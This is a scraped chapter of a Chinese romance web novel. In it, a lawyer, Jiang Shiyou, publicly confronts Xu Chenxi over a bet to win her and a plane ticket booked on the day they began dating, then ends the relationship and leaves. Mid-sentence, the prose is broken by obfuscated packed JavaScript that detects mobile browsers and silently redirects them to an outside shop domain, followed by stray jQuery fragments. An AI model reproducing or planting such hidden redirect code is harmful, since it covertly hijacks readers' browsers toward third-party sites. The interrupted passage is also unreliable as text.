文趣网 > 都市小说 > 请勿当真 > 35.以牙还牙,以眼还眼
    那张飞往国外的机票上,赫然写着许宸希的名字。

    默不作声的乔北蔓和唐明栋见此情形,都止不住摇头,用一种望向薄情寡义之人的眼神盯着许宸希,似是在控诉他的凉薄。

    许宸希这才猛然想起,机票是起初他以为和姜时攸没可能,托管家林叔帮他定的。

    当时林叔转交给他,他也没当一回事,随手扔在副驾驶的储物箱,这事便被他抛之脑后,没再记起。

    很显然,这东西是姜时攸翻找投资说明时连带着找出来的。

    “我找人查过它的出票时间,正好是我们正式交往的第一天,这你要怎么解释?”

    姜时攸话音微顿,“难不成你要告诉我这一切只是巧合?而不是你赢得赌约,想要离开的证明?”

    出票时间是他们正式交往的第一天?许宸希回忆片刻,还果真如此,可这并非他本意,时间对上真的只是巧合,于是乎急忙出声辩解。

    “时攸,我知道你很难相信,但这真的只是巧合,当时我以为你不会答应我的追求,而我也不想继续留在国内忍受我爸妈逼婚,这才托林叔给我定的机票,你要是不信,可以跟我去趟许家,一起问问林叔,早在这之前,我就让他去办这件事,而不是刻意定在那天。”

    姜时攸眼神扫过一旁的乔北蔓和唐明栋,轻嘲一笑,“你身边的人,还有我能相信的吗?”

    乔北蔓与唐明栋对视一眼,莫名心虚地别过头。

    姜时攸又道:“你当然不用刻意在那天订票,提前几天安排,也不过是对拿下我有十足的把握而已,毕竟在你眼里,我无非是个玩物。”

    许宸希心中五味杂陈,不知该如何解释,现如今哪怕跳进黄河也洗不清他欺骗她的事实,“时攸……”

    “那什么别墅,也是你打赌赢的吧?”姜时攸截断他的话。

    “我没要。”许宸希连忙说道,“一开始对你撒谎是我不对,可当我意识到喜欢上你,我都在尽可能弥补,我已经错的离谱,不想再错下去。”

    唐明栋站出来替许宸希说话道:“这点我可以保证,他确实没要。”

    “你的保证?”姜时攸冷目觑了眼唐明栋,“谁信?”

    唐明栋吃了一瘪,如今他在姜时攸眼里,等同于许宸希的帮凶,帮凶的话,姜时攸又怎会相信?

    几人的争执声也引来了包房内其他人的好奇,众人都陆陆续续涌出包房,围在走廊看热闹。

    眼见人越聚越多,事情的发展逐渐不可控,唐明栋和乔北蔓不想把事情闹大,只好出声支使众人离开。

    “大家怎么都出来了?我们先进去,宸希这边有事需要处理,完了会跟大家伙交代……”

    “没错,先进去,都围在这别人也没法走路……”

    许宸希也知这不是说话的地,放低姿态哄道:“时攸,有什么我们出去说……”

    言语间,还不忘伸手去拉姜时攸的手。

    姜时攸冷冷瞧着他,厌恶地后退半步避开,抽回视线间抬手拭去眼角溢出的泪花。

    她强忍着泪水,转正身子面对众人,轻扯出一抹笑,“抱歉,让大家久等了。”

    许宸希落空的手横在半空,仿若石化般僵在原地,姜时攸刚刚看向他的眼神,是他不曾见过的凉薄,有失望、有憎恨、有厌弃。

    不再有爱,亦不再有期待。

    他好像弄丢了那个真诚待他的姑娘。

    众人被乔北蔓二人劝离的脚步,又随着姜时攸的说话声顿住,纷纷回头望去。

    姜时攸体面的与众人打招呼,“想必站在这的各位对我并不陌生,我叫姜时攸,是许宸希和唐明栋赌局的女主角。”

    在场众人自然认识姜时攸,也知道许宸希与唐明栋的赌约,毕竟定下赌约那天晚上,很多人都在场,这一传一,十传百,赌局这事在他们之间早就算不得秘密。

    但令众人不解的是,姜时攸为什么会突然叫住他们,还特意介绍自己?

    结果不是显而易见吗?许宸希赢了,他花了一个月成功追求到姜时攸。

    就在众人百思不得其解之际,姜时攸又开口道:“看来你们都认识我,对我的存在也并不感到惊讶。”

    “既如此,你们应该也清楚,我不仅是名律师,在圈内还是名以利先行的律师,我这种人,又怎会轻易损失我的利益,让别人占尽便宜?”

    她话音微顿,抬手抚上自己颈间那条价值三百多万的钻石项链,“这,便是我从许二公子那儿捞的好处,话说这条项链怎么着也得值个几百万吧,对于我这种市井出身的人,能捞到这么昂贵的首饰,还多亏那个赌局。”

    许宸希受不了姜时攸这样贬低自己,忙拉住她的胳膊,出声劝道:“时攸,这事是我错在先,你要打要骂可以冲我来,干嘛这样诋毁你自己”

    姜时攸不曾看他,只是扭动胳膊挣脱开他的手,目光仍看向面前的众人,“诋毁?你们这样的人,不都这样吗?把金钱当筹码,把人当玩物,那我从中捞点好处怎么了?”

    她横目冷眼看着他,“你以为我就真的喜欢你?你以为没有你许家二公子的身份,我会多看你一眼?”

    许宸希大脑一阵轰鸣,整个人愣在当场。

    姜时攸讥笑摇头,“大家都是玩,谁玩谁都一样,你玩我,我玩你,很公平。”

    许宸希不信,“不会的,你不是那样的人,你是爱我的对不对?不然你也不会给我煲粥,关心我,送我……”

    “你一直都这么天真吗?”姜时攸打断他的话,“跟我说爱?爱是什么?欺骗是爱?还是把人当玩物是爱?”

    “许二公子,你们这类人的爱,恕我无法承受。”

    “我们之间,无非是各取所需罢了。”

    “不是的,不是的……”许宸希慌了,一把将姜时攸拥入怀中,紧紧抱着,一刻也不敢松手,用近乎祈求的语气道,“不是这样的时攸,你收回你说的话,你是爱我的,是爱我的……”

    “是我不是人,欺骗了你,我保证以后绝对不会再对你说半句谎话,我什么都跟你说,什么都依你……”

    他不信,不信姜时攸对他全然没有半点情意,他们在一起的每一分每一秒明明是那么幸福,怎么可能有假?

    定是姜时攸生他的气,所以才说的气话。

    姜时攸神色麻木,推开那个曾经让她感受到爱意的拥抱。

    尽管许宸希的怀抱同样炙热,同样有着他的体温和心跳,可她却再难对那样的怀抱生出念想。

    曾经的爱意,那些点点滴滴,都成了她心里挥之不去的阴霾。

    “别碰我,我嫌脏。”她声音冷硬。

    许宸希呼吸一窒,泪水瞬间充盈了眼眶,脸上写满了不可置信,连同嗓子都有些沙哑,“你说什么?”

    “这场游戏,该结束了。”姜时攸迎上他的目光,一字一顿道,“你赢了,我也得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554474|203233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到我应得的,至此以后桥归桥,路归路,你我两不相欠。”

    话落,她不再言语,决然转身按下电梯下行键。

    许宸希忽然出声叫住她,“姜时攸!”

    姜时攸脚步微顿,并未回头看他。

    “如果我不是许家的人,你还会跟我在一起吗?”

    他迫切地想要知道真相。

    他想从姜时攸口中得知,她对他有爱,只是因为他的欺骗,她接受不了,才故意说这些扎心窝子的话,有意气他。

    然而,姜时攸向来是不服输的性子,如今受了蒙骗,被许宸希一行人耍的团团转,她又怎会让对方称心如意?

    既然他这么在乎她有没有爱过他,在乎她是不是因为他许家二公子的身份才接受他,那么她就得让他也体会一下,他在乎的东西被人无情践踏是什么感受。

    “姓许,是你唯一的价值,没有这个身份,你什么都不是。”

    闻言,许宸希蓄在眼眶的泪水毫无征兆地砸了下来,四周嘈杂的议论声仿若在瞬间消失,整个世界安静的可怕,唯有姜时攸那句话不断萦绕在他心间,一遍又一遍撞击着他的内心,将他撞的四分五裂。

    叮!

    与此同时,电梯成功抵达五楼,门从两侧缓缓打开。

    姜时攸没再理会身后人是何表情,取下肩上披着的西装外套,连同包里的车钥匙一同掷在地上,抬脚进入电梯。

    许宸希眼睁睁看着电梯门一点一点合上,却似是失去所有力气般,没了再去打开的勇气。

    电梯门合上的刹那,连带着他心底那扇透光的门也一同被合上,黑暗带给他的窒息感令他绝望。

    他拼命挣扎,撕心裂肺地呼喊着要离开,可门外唯一握着钥匙的人已经走远,甚至连一个施舍的眼神都不愿给他。

    痛苦、无助、委屈……无数情绪瞬时涌上心头,使他万念俱灰,双腿更是瘫软无力,整个人如同失了支撑点般重重跌坐在地上。

    他捂着发疼的胸口,丝毫不再顾忌往日的形象,任由泪水打湿面庞。

    唐明栋和乔北蔓看着这幕,心里很不是滋味,在他们的印象中,许宸希从未掉过眼泪,哪怕十岁那年被许家送上前往异国他乡的飞机,他也没有表现出任何脆弱的一面。

    而现在,他却哭的如同一个丢了心爱玩具的孩子。

    为了不让人再看笑话,唐明栋一个劲的招呼大家伙先离开。

    在场众人不是傻子,见势头不对,也不敢过多停留,更不敢出声嘲笑,毕竟许宸希还有着许家二公子的身份,倘若把人给得罪了,那才是得不偿失。

    于是顺着唐明栋的意思,相继离开。

    黎萱跟在霍士章身后,眼神时不时望向坐在地上掩面低泣的许宸希,她想上前安慰,又在对上乔北蔓的眼神时心生退意。

    她能感知到乔北蔓对她有提防,再加上此时确实不宜太冒进,反正现在许宸希与姜时攸已经闹掰,将来有的是机会接近许宸希。

    待所有人都走后,走廊上便只剩下许宸希三人。

    明明有人,却仿若无人般安静,没人开口说话,气氛压抑地让人有些透不过气。

    许宸希双腿微屈倚靠着墙席地而坐,手里紧紧攥着那张飞往国外的机票,神色木然不知在想些什么。

    唐明栋和乔北蔓临窗站着,互相使眼色让对方说点什么,可谁也不知道该说什么好,推脱半天终是没能开口。